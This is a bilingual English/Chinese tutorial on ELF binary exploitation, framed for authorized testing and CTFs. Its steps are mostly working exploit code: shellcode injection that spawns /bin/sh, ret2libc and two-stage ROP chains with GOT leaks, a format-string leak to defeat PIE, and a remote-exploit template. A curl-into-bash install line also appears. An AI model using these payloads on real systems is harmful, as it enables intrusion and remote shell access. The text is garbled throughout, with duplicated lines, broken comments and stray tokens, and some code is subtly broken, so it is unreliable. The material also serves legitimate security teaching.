performing-binary-exploitation-analysis
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChinesePerforming Binary Exploitation Analysis
二进制利用分析实操
For authorized security testing and CTF challenges only.
Analyze ELF binaries for exploitation vectors using checksec, ROPgadget,
and pwntools for buffer overflow and ROP chain development.
仅用于授权安全测试和CTF竞赛。
使用checksec、ROPgadget和pwntools分析ELF二进制文件的利用向量,开展缓冲区溢出和ROP链开发工作。
When to Use
适用场景
- Analyzing ELF binaries during authorized penetration tests to identify memory corruption vulnerabilities
- Solving binary exploitation challenges in CTF competitions
- Evaluating the effectiveness of compiler mitigations (NX, ASLR, stack canaries, PIE, RELRO) on target binaries
- Developing proof-of-concept exploits for vulnerability reports to demonstrate impact
- Training security engineers in exploit development techniques for defensive awareness
- Validating that security patches for buffer overflow vulnerabilities are effective
Do not use against systems without explicit written authorization. Binary exploitation techniques can cause system instability and must only be applied in controlled environments (lab VMs, CTF platforms, authorized pentests with scope documents).
- 在授权渗透测试中分析ELF二进制文件,识别内存损坏漏洞
- 解决CTF竞赛中的二进制利用挑战
- 评估编译器缓解措施(NX、ASLR、栈金丝雀、PIE、RELRO)对目标二进制文件的有效性
- 为漏洞报告开发概念验证利用程序,以展示漏洞影响
- 培训安全工程师掌握利用开发技术,提升防御意识
- 验证缓冲区溢出漏洞的安全补丁是否有效
请勿在未获得明确书面授权的系统上使用。 二进制利用技术可能导致系统不稳定,仅可在受控环境(实验室虚拟机、CTF平台、带有范围文档的授权渗透测试)中应用。
Prerequisites
前置条件
- Linux system (Ubuntu/Debian recommended) for exploit development
- Python 3.8+ with (
pwntools)pip install pwntools - GDB with or
pwndbgplugin for enhanced debuggingGEF - for ROP chain gadget discovery (
ROPgadget)pip install ROPgadget - (included with pwntools or standalone via
checksec)apt install checksec - Target vulnerable binary compiled for testing (e.g., from pwnable.kr, ROP Emporium, or custom test binaries)
- Basic understanding of x86/x86_64 calling conventions and stack layout
- 用于利用开发的Linux系统(推荐Ubuntu/Debian)
- Python 3.8+及库(执行
pwntools安装)pip install pwntools - 带有或
pwndbg插件的GDB,用于增强调试功能GEF - 工具,用于ROP链gadget查找(执行
ROPgadget安装)pip install ROPgadget - 工具(随pwntools附带,或通过
checksec单独安装)apt install checksec - 用于测试的目标漏洞二进制文件(例如来自pwnable.kr、ROP Emporium或自定义测试二进制文件)
- 基本了解x86/x86_64调用约定和栈布局
Workflow
工作流程
Step 1: Install the Exploitation Toolkit
步骤1:安装利用工具集
bash
undefinedbash
undefinedInstall pwntools and dependencies
Install pwntools and dependencies
pip install pwntools ROPgadget
pip install pwntools ROPgadget
Install GDB with pwndbg plugin
Install GDB with pwndbg plugin
git clone https://github.com/pwndbg/pwndbg
cd pwndbg && ./setup.sh
git clone https://github.com/pwndbg/pwndbg
cd pwndbg && ./setup.sh
Alternatively, install GEF (GDB Enhanced Features)
Alternatively, install GEF (GDB Enhanced Features)
bash -c "$(curl -fsSL https://gef.blah.cat/sh)"
bash -c "$(curl -fsSL https://gef.blah.cat/sh)"
Install supporting tools
Install supporting tools
sudo apt install -y gdb nasm gcc-multilib libc6-dbg
sudo apt install -y gdb nasm gcc-multilib libc6-dbg
Verify installation
Verify installation
python3 -c "from pwn import *; print('pwntools version:', version)"
checksec --version
ROPgadget --version
undefinedpython3 -c "from pwn import *; print('pwntools version:', version)"
checksec --version
ROPgadget --version
undefinedStep 2: Analyze Binary Protections with checksec
步骤2:使用checksec分析二进制保护机制
Before writing any exploit, enumerate the security mitigations compiled into the binary:
python
from pwn import *在编写任何利用程序之前,先枚举二进制文件中编译的安全缓解措施:
python
from pwn import *Load the target binary
Load the target binary
binary_path = "./vulnerable_server"
elf = ELF(binary_path)
binary_path = "./vulnerable_server"
elf = ELF(binary_path)
checksec output explains what mitigations are in place
checksec output explains what mitigations are in place
print(f"Architecture: {elf.arch}")
print(f"Bits: {elf.bits}")
print(f"Endianness: {elf.endian}")
print()
print(f"Architecture: {elf.arch}")
print(f"Bits: {elf.bits}")
print(f"Endianness: {elf.endian}")
print()
Key security properties
Key security properties
RELRO: Full = GOT is read-only, Partial = GOT header read-only, No = writable GOT
RELRO: Full = GOT is read-only, Partial = GOT header read-only, No = writable GOT
Stack Canary: Detects stack buffer overflows via random canary value
Stack Canary: Detects stack buffer overflows via random canary value
NX (No-eXecute): Prevents executing code on the stack (DEP)
NX (No-eXecute): Prevents executing code on the stack (DEP)
PIE: Position Independent Executable, randomizes base address
PIE: Position Independent Executable, randomizes base address
ASLR: OS-level address randomization (check /proc/sys/kernel/randomize_va_space)
ASLR: OS-level address randomization (check /proc/sys/kernel/randomize_va_space)
Also available via command line:
Also available via command line:
checksec --file=./vulnerable_server
checksec --file=./vulnerable_server
```bash
```bashCommand-line checksec output example:
Command-line checksec output example:
checksec --file=./vulnerable_server
checksec --file=./vulnerable_server
RELRO STACK CANARY NX PIE
RELRO STACK CANARY NX PIE
Partial RELRO No canary found NX disabled No PIE
Partial RELRO No canary found NX disabled No PIE
Check ASLR status on the system
Check ASLR status on the system
cat /proc/sys/kernel/randomize_va_space
cat /proc/sys/kernel/randomize_va_space
0 = disabled, 1 = conservative, 2 = full randomization
0 = disabled, 1 = conservative, 2 = full randomization
undefinedundefinedStep 3: Find the Buffer Overflow Offset
步骤3:查找缓冲区溢出偏移量
Determine exactly how many bytes are needed to overwrite the return address:
python
from pwn import *
context.binary = ELF("./vulnerable_server")
context.log_level = "info"确定覆盖返回地址所需的确切字节数:
python
from pwn import *
context.binary = ELF("./vulnerable_server")
context.log_level = "info"Method 1: Use cyclic pattern to find exact offset
Method 1: Use cyclic pattern to find exact offset
Generate a unique cyclic pattern
Generate a unique cyclic pattern
pattern_length = 200
pattern = cyclic(pattern_length)
print(f"Generated cyclic pattern of length {pattern_length}")
pattern_length = 200
pattern = cyclic(pattern_length)
print(f"Generated cyclic pattern of length {pattern_length}")
Send the pattern to the binary
Send the pattern to the binary
p = process("./vulnerable_server")
p.sendline(pattern)
p.wait()
p = process("./vulnerable_server")
p.sendline(pattern)
p.wait()
After the crash, read the value in RIP/EIP from core dump or GDB
After the crash, read the value in RIP/EIP from core dump or GDB
Then find the offset:
Then find the offset:
For 64-bit: crashed_value = p.corefile.fault_addr
For 64-bit: crashed_value = p.corefile.fault_addr
Or manually from GDB: "info registers rip" after crash
Or manually from GDB: "info registers rip" after crash
crashed_rip = 0x6161616c # Example value from crash
offset = cyclic_find(crashed_rip)
print(f"Offset to return address: {offset} bytes")
crashed_rip = 0x6161616c # Example value from crash
offset = cyclic_find(crashed_rip)
print(f"Offset to return address: {offset} bytes")
Method 2: Use GDB with pwndbg to find offset interactively
Method 2: Use GDB with pwndbg to find offset interactively
In GDB:
In GDB:
pwndbg> cyclic 200
pwndbg> cyclic 200
pwndbg> run < <(python3 -c "from pwn import *; print(cyclic(200).decode())")
pwndbg> run < <(python3 -c "from pwn import *; print(cyclic(200).decode())")
pwndbg> cyclic -l $rsp (or cyclic -l <value in RIP>)
pwndbg> cyclic -l $rsp (or cyclic -l <value in RIP>)
undefinedundefinedStep 4: Exploit a Stack Buffer Overflow (NX Disabled)
步骤4:利用栈缓冲区溢出(NX禁用)
When NX is disabled, inject and execute shellcode directly on the stack:
python
from pwn import *当NX禁用时,可直接在栈上注入并执行shellcode:
python
from pwn import *Configuration
Configuration
binary_path = "./vulnerable_server"
context.binary = ELF(binary_path)
context.arch = "amd64" # or "i386" for 32-bit
OFFSET = 72 # Determined in Step 3
binary_path = "./vulnerable_server"
context.binary = ELF(binary_path)
context.arch = "amd64" # or "i386" for 32-bit
OFFSET = 72 # Determined in Step 3
Generate shellcode
Generate shellcode
execve("/bin/sh", NULL, NULL) - spawn a shell
execve("/bin/sh", NULL, NULL) - spawn a shell
shellcode = asm(shellcraft.sh())
print(f"Shellcode length: {len(shellcode)} bytes")
shellcode = asm(shellcraft.sh())
print(f"Shellcode length: {len(shellcode)} bytes")
Build the exploit payload
Build the exploit payload
Layout: [NOP sled] [shellcode] [padding] [return address -> NOP sled]
Layout: [NOP sled] [shellcode] [padding] [return address -> NOP sled]
nop_sled = asm("nop") * 32
nop_sled = asm("nop") * 32
For a local exploit without ASLR, we can estimate the buffer address
For a local exploit without ASLR, we can estimate the buffer address
Run in GDB first to find the buffer address:
Run in GDB first to find the buffer address:
break *main+XX (after read/gets call)
break *main+XX (after read/gets call)
x/20x $rsp
x/20x $rsp
buffer_addr = 0x7fffffffe000 # Example - get from GDB
padding_len = OFFSET - len(nop_sled) - len(shellcode)
payload = nop_sled + shellcode + b"A" * padding_len + p64(buffer_addr)
buffer_addr = 0x7fffffffe000 # Example - get from GDB
padding_len = OFFSET - len(nop_sled) - len(shellcode)
payload = nop_sled + shellcode + b"A" * padding_len + p64(buffer_addr)
Launch exploit
Launch exploit
p = process(binary_path)
p.sendline(payload)
p.interactive() # Interact with the spawned shell
undefinedp = process(binary_path)
p.sendline(payload)
p.interactive() # Interact with the spawned shell
undefinedStep 5: Build a ROP Chain (NX Enabled)
步骤5:构建ROP链(NX启用)
When NX prevents stack code execution, chain existing code gadgets (Return-Oriented Programming):
bash
undefined当NX阻止栈代码执行时,链接现有代码gadget(返回导向编程,ROP):
bash
undefinedFind ROP gadgets in the binary
Find ROP gadgets in the binary
ROPgadget --binary ./vulnerable_server
ROPgadget --binary ./vulnerable_server
Find specific gadgets
Find specific gadgets
ROPgadget --binary ./vulnerable_server --only "pop|ret"
ROPgadget --binary ./vulnerable_server --only "mov|ret"
ROPgadget --binary ./vulnerable_server --only "pop|ret"
ROPgadget --binary ./vulnerable_server --only "mov|ret"
Search for gadgets to control registers for syscall
Search for gadgets to control registers for syscall
ROPgadget --binary ./vulnerable_server | grep "pop rdi"
ROPgadget --binary ./vulnerable_server | grep "pop rsi"
ROPgadget --binary ./vulnerable_server | grep "pop rdx"
ROPgadget --binary ./vulnerable_server | grep "syscall"
ROPgadget --binary ./vulnerable_server | grep "pop rdi"
ROPgadget --binary ./vulnerable_server | grep "pop rsi"
ROPgadget --binary ./vulnerable_server | grep "pop rdx"
ROPgadget --binary ./vulnerable_server | grep "syscall"
Find gadgets in libc (for ret2libc attacks)
Find gadgets in libc (for ret2libc attacks)
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret" | head -20
```python
from pwn import *
binary_path = "./vulnerable_server"
elf = ELF(binary_path)
context.binary = elf
OFFSET = 72ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret" | head -20
```python
from pwn import *
binary_path = "./vulnerable_server"
elf = ELF(binary_path)
context.binary = elf
OFFSET = 72Method 1: ret2libc - call system("/bin/sh") via libc
Method 1: ret2libc - call system("/bin/sh") via libc
When the binary is dynamically linked and we know libc version
When the binary is dynamically linked and we know libc version
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
Start process to leak libc address
Start process to leak libc address
p = process(binary_path)
p = process(binary_path)
If there is a format string or info leak, use it to find libc base
If there is a format string or info leak, use it to find libc base
Example: binary prints puts@GOT address
Example: binary prints puts@GOT address
p.recvuntil(b"puts address: ")
puts_leak = int(p.recvline().strip(), 16)
libc.address = puts_leak - libc.symbols["puts"]
log.success(f"libc base: {hex(libc.address)}")
p.recvuntil(b"puts address: ")
puts_leak = int(p.recvline().strip(), 16)
libc.address = puts_leak - libc.symbols["puts"]
log.success(f"libc base: {hex(libc.address)}")
Find a "pop rdi; ret" gadget for x86_64 calling convention
Find a "pop rdi; ret" gadget for x86_64 calling convention
First argument goes in RDI register
First argument goes in RDI register
pop_rdi = elf.search(asm("pop rdi; ret")).next()
ret_gadget = elf.search(asm("ret")).next() # Stack alignment
pop_rdi = elf.search(asm("pop rdi; ret")).next()
ret_gadget = elf.search(asm("ret")).next() # Stack alignment
Build the ROP chain: system("/bin/sh")
Build the ROP chain: system("/bin/sh")
bin_sh_addr = next(libc.search(b"/bin/sh\x00"))
system_addr = libc.symbols["system"]
rop_chain = flat(
b"A" * OFFSET, # Padding to reach return address
ret_gadget, # Stack alignment (needed for movaps in system)
pop_rdi, # pop rdi; ret - load /bin/sh address into RDI
bin_sh_addr, # Address of "/bin/sh" string in libc
system_addr, # Call system()
)
p.sendline(rop_chain)
p.interactive()
undefinedbin_sh_addr = next(libc.search(b"/bin/sh\x00"))
system_addr = libc.symbols["system"]
rop_chain = flat(
b"A" * OFFSET, # Padding to reach return address
ret_gadget, # Stack alignment (needed for movaps in system)
pop_rdi, # pop rdi; ret - load /bin/sh address into RDI
bin_sh_addr, # Address of "/bin/sh" string in libc
system_addr, # Call system()
)
p.sendline(rop_chain)
p.interactive()
undefinedStep 6: Use pwntools ROP Helper for Automated Chain Building
步骤6:使用pwntools ROP助手自动构建链
python
from pwn import *
binary_path = "./vulnerable_server"
elf = ELF(binary_path)
context.binary = elf
OFFSET = 72python
from pwn import *
binary_path = "./vulnerable_server"
elf = ELF(binary_path)
context.binary = elf
OFFSET = 72pwntools automatic ROP chain builder
pwntools automatic ROP chain builder
rop = ROP(elf)
rop = ROP(elf)
If the binary has enough gadgets, pwntools can build chains automatically
If the binary has enough gadgets, pwntools can build chains automatically
For execve("/bin/sh", 0, 0) syscall:
For execve("/bin/sh", 0, 0) syscall:
rop.call("puts", [elf.got["puts"]]) # Leak GOT entry
rop.call(elf.symbols["main"]) # Return to main for second stage
rop.call("puts", [elf.got["puts"]]) # Leak GOT entry
rop.call(elf.symbols["main"]) # Return to main for second stage
Print the ROP chain for debugging
Print the ROP chain for debugging
print(rop.dump())
print(rop.dump())
Build first-stage payload (leak libc)
Build first-stage payload (leak libc)
stage1 = flat(
b"A" * OFFSET,
rop.chain()
)
p = process(binary_path)
p.sendline(stage1)
stage1 = flat(
b"A" * OFFSET,
rop.chain()
)
p = process(binary_path)
p.sendline(stage1)
Parse the leaked puts address
Parse the leaked puts address
p.recvuntil(b"\n") # Skip program output
leaked_puts = u64(p.recvline().strip().ljust(8, b"\x00"))
log.success(f"Leaked puts@GOT: {hex(leaked_puts)}")
p.recvuntil(b"\n") # Skip program output
leaked_puts = u64(p.recvline().strip().ljust(8, b"\x00"))
log.success(f"Leaked puts@GOT: {hex(leaked_puts)}")
Calculate libc base
Calculate libc base
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc.address = leaked_puts - libc.symbols["puts"]
log.success(f"libc base: {hex(libc.address)}")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc.address = leaked_puts - libc.symbols["puts"]
log.success(f"libc base: {hex(libc.address)}")
Build second-stage ROP chain using libc gadgets
Build second-stage ROP chain using libc gadgets
rop2 = ROP(libc)
rop2.call("execve", [next(libc.search(b"/bin/sh\x00")), 0, 0])
stage2 = flat(
b"A" * OFFSET,
rop2.chain()
)
p.sendline(stage2)
p.interactive()
undefinedrop2 = ROP(libc)
rop2.call("execve", [next(libc.search(b"/bin/sh\x00")), 0, 0])
stage2 = flat(
b"A" * OFFSET,
rop2.chain()
)
p.sendline(stage2)
p.interactive()
undefinedStep 7: Debug Exploits with GDB and pwndbg
步骤7:使用GDB和pwndbg调试利用程序
python
from pwn import *
binary_path = "./vulnerable_server"
elf = ELF(binary_path)
context.binary = elf
context.terminal = ["tmux", "splitw", "-h"] # or ["gnome-terminal", "--"]python
from pwn import *
binary_path = "./vulnerable_server"
elf = ELF(binary_path)
context.binary = elf
context.terminal = ["tmux", "splitw", "-h"] # or ["gnome-terminal", "--"]Launch binary under GDB with pwndbg
Launch binary under GDB with pwndbg
p = gdb.debug(binary_path, """
# Set breakpoints at key locations
break *main
break *main+85
# Continue to the vulnerable function
continue""")
p = gdb.debug(binary_path, """
# Set breakpoints at key locations
break *main
break *main+85
# Continue to the vulnerable function
continue""")
GDB commands useful during exploit development:
GDB commands useful during exploit development:
pwndbg> vmmap - Show memory mappings (find stack, heap, libc)
pwndbg> vmmap - Show memory mappings (find stack, heap, libc)
pwndbg> checksec - Show binary protections
pwndbg> checksec - Show binary protections
pwndbg> search -s "/bin/sh" - Find string in memory
pwndbg> search -s "/bin/sh" - Find string in memory
pwndbg> rop --grep "pop rdi" - Search for gadgets
pwndbg> rop --grep "pop rdi" - Search for gadgets
pwndbg> cyclic 200 - Generate cyclic pattern
pwndbg> cyclic 200 - Generate cyclic pattern
pwndbg> cyclic -l 0x616161 - Find offset from pattern value
pwndbg> cyclic -l 0x616161 - Find offset from pattern value
pwndbg> telescope $rsp 20 - Show stack contents
pwndbg> telescope $rsp 20 - Show stack contents
pwndbg> x/20gx $rsp - Examine stack as 64-bit values
pwndbg> x/20gx $rsp - Examine stack as 64-bit values
pwndbg> heap - Analyze heap state
pwndbg> heap - Analyze heap state
pwndbg> got - Show GOT entries and resolved addresses
pwndbg> got - Show GOT entries and resolved addresses
pwndbg> plt - Show PLT entries
pwndbg> plt - Show PLT entries
OFFSET = 72
payload = b"A" * OFFSET + p64(0xdeadbeef)
p.sendline(payload)
p.interactive()
undefinedOFFSET = 72
payload = b"A" * OFFSET + p64(0xdeadbeef)
p.sendline(payload)
p.interactive()
undefinedStep 8: Handle PIE and ASLR with Information Leaks
步骤8:通过信息泄露应对PIE和ASLR
python
from pwn import *
binary_path = "./vulnerable_pie_binary"
elf = ELF(binary_path)
context.binary = elfpython
from pwn import *
binary_path = "./vulnerable_pie_binary"
elf = ELF(binary_path)
context.binary = elfWhen PIE is enabled, we need to leak a code address to defeat randomization
When PIE is enabled, we need to leak a code address to defeat randomization
Common leak techniques:
Common leak techniques:
1. Format string vulnerability: %p to leak stack/code pointers
1. Format string vulnerability: %p to leak stack/code pointers
2. Partial overwrite: overwrite only lower bytes of a pointer
2. Partial overwrite: overwrite only lower bytes of a pointer
3. Uninitialized memory: read stack memory containing code pointers
3. Uninitialized memory: read stack memory containing code pointers
p = process(binary_path)
p = process(binary_path)
Example: Using a format string leak to defeat PIE
Example: Using a format string leak to defeat PIE
If the binary has a printf(user_input) vulnerability:
If the binary has a printf(user_input) vulnerability:
p.sendline(b"%p.%p.%p.%p.%p.%p.%p.%p.%p.%p")
leak_output = p.recvline().strip().decode()
leaked_addrs = leak_output.split(".")
p.sendline(b"%p.%p.%p.%p.%p.%p.%p.%p.%p.%p")
leak_output = p.recvline().strip().decode()
leaked_addrs = leak_output.split(".")
Parse leaked addresses to find a code pointer
Parse leaked addresses to find a code pointer
for i, addr in enumerate(leaked_addrs):
try:
val = int(addr, 16)
# PIE binaries typically load at 0x55XXXXXXXXXX on 64-bit
if 0x550000000000 <= val <= 0x560000000000:
log.info(f"Offset {i}: {addr} (likely PIE code address)")
# libc addresses typically at 0x7fXXXXXXXXXX
elif 0x7f0000000000 <= val <= 0x800000000000:
log.info(f"Offset {i}: {addr} (likely libc address)")
except ValueError:
continue
for i, addr in enumerate(leaked_addrs):
try:
val = int(addr, 16)
# PIE binaries typically load at 0x55XXXXXXXXXX on 64-bit
if 0x550000000000 <= val <= 0x560000000000:
log.info(f"Offset {i}: {addr} (likely PIE code address)")
# libc addresses typically at 0x7fXXXXXXXXXX
elif 0x7f0000000000 <= val <= 0x800000000000:
log.info(f"Offset {i}: {addr} (likely libc address)")
except ValueError:
continue
Once we have a leaked PIE address, calculate the binary base
Once we have a leaked PIE address, calculate the binary base
leaked_code_addr = int(leaked_addrs[5], 16) # Example offset
elf.address = leaked_code_addr - elf.symbols["main"] # Adjust for known offset
log.success(f"PIE base: {hex(elf.address)}")
leaked_code_addr = int(leaked_addrs[5], 16) # Example offset
elf.address = leaked_code_addr - elf.symbols["main"] # Adjust for known offset
log.success(f"PIE base: {hex(elf.address)}")
Now we can use absolute addresses in our ROP chain
Now we can use absolute addresses in our ROP chain
rop = ROP(elf)
rop = ROP(elf)
... build chain using elf.symbols which are now correctly rebased
... build chain using elf.symbols which are now correctly rebased
undefinedundefinedStep 9: Exploit a Remote Target
步骤9:利用远程目标
python
from pwn import *python
from pwn import *Configuration
Configuration
REMOTE_HOST = "target.ctf.example.com"
REMOTE_PORT = 9001
binary_path = "./vulnerable_server"
elf = ELF(binary_path)
context.binary = elf
def exploit(target):
"""Run the full exploit chain against a target (local or remote)."""
OFFSET = 72
# Stage 1: Leak libc
rop1 = ROP(elf)
rop1.call("puts", [elf.got["puts"]])
rop1.call(elf.symbols["main"])
payload1 = flat(b"A" * OFFSET, rop1.chain())
target.sendlineafter(b"Input: ", payload1)
leaked = u64(target.recvline().strip().ljust(8, b"\x00"))
log.success(f"Leaked puts: {hex(leaked)}")
# Stage 2: ret2libc
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc.address = leaked - libc.symbols["puts"]
rop2 = ROP(libc)
rop2.call("execve", [next(libc.search(b"/bin/sh\x00")), 0, 0])
payload2 = flat(b"A" * OFFSET, rop2.chain())
target.sendlineafter(b"Input: ", payload2)
target.interactive()REMOTE_HOST = "target.ctf.example.com"
REMOTE_PORT = 9001
binary_path = "./vulnerable_server"
elf = ELF(binary_path)
context.binary = elf
def exploit(target):
"""Run the full exploit chain against a target (local or remote)."""
OFFSET = 72
# Stage 1: Leak libc
rop1 = ROP(elf)
rop1.call("puts", [elf.got["puts"]])
rop1.call(elf.symbols["main"])
payload1 = flat(b"A" * OFFSET, rop1.chain())
target.sendlineafter(b"Input: ", payload1)
leaked = u64(target.recvline().strip().ljust(8, b"\x00"))
log.success(f"Leaked puts: {hex(leaked)}")
# Stage 2: ret2libc
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc.address = leaked - libc.symbols["puts"]
rop2 = ROP(libc)
rop2.call("execve", [next(libc.search(b"/bin/sh\x00")), 0, 0])
payload2 = flat(b"A" * OFFSET, rop2.chain())
target.sendlineafter(b"Input: ", payload2)
target.interactive()Test locally first
Test locally first
log.info("Testing exploit locally...")
local = process(binary_path)
exploit(local)
log.info("Testing exploit locally...")
local = process(binary_path)
exploit(local)
Then run against remote target
Then run against remote target
log.info("Running exploit against remote target...")
log.info("Running exploit against remote target...")
remote = remote(REMOTE_HOST, REMOTE_PORT)
remote = remote(REMOTE_HOST, REMOTE_PORT)
exploit(remote)
exploit(remote)
undefinedundefinedVerification
验证
- Confirm correctly identifies all binary mitigations (NX, canary, PIE, RELRO) and results match manual inspection
checksec - Verify the cyclic pattern offset finder produces the correct offset by setting a breakpoint at the instruction and confirming RIP/EIP contains the expected cyclic value
ret - Test shellcode payloads execute correctly in a controlled environment with NX disabled
- Validate ROP chains by single-stepping through gadgets in GDB to confirm register values are set correctly before the final syscall/function call
- Confirm the exploit works both locally () and against a remote target (
process()) when the correct libc version is usedremote() - Verify that PIE bypass correctly rebases all addresses by checking GDB output against calculated addresses
vmmap - Test that the exploit fails gracefully when mitigations are re-enabled (confirms the exploit targets the correct weakness)
- Run output through a deduplication filter to confirm all referenced gadgets exist at the specified offsets in the target binary
ROPgadget
- 确认能正确识别所有二进制缓解措施(NX、金丝雀、PIE、RELRO),且结果与手动检查一致
checksec - 通过在指令处设置断点,确认RIP/EIP包含预期的循环值,验证循环模式偏移量查找器生成的偏移量正确
ret - 在NX禁用的受控环境中测试shellcode payload能否正确执行
- 通过在GDB中单步执行gadget,确认最终系统调用/函数调用前寄存器值设置正确,验证ROP链有效性
- 确认当使用正确的libc版本时,利用程序在本地()和远程目标(
process())上均能正常工作remote() - 通过对比GDB的输出与计算出的地址,验证PIE绕过能正确重定位所有地址
vmmap - 测试当重新启用缓解措施时,利用程序能否正常失败(确认利用程序针对的是正确的弱点)
- 对输出进行去重过滤,确认所有引用的gadget在目标二进制文件的指定偏移量处存在
ROPgadget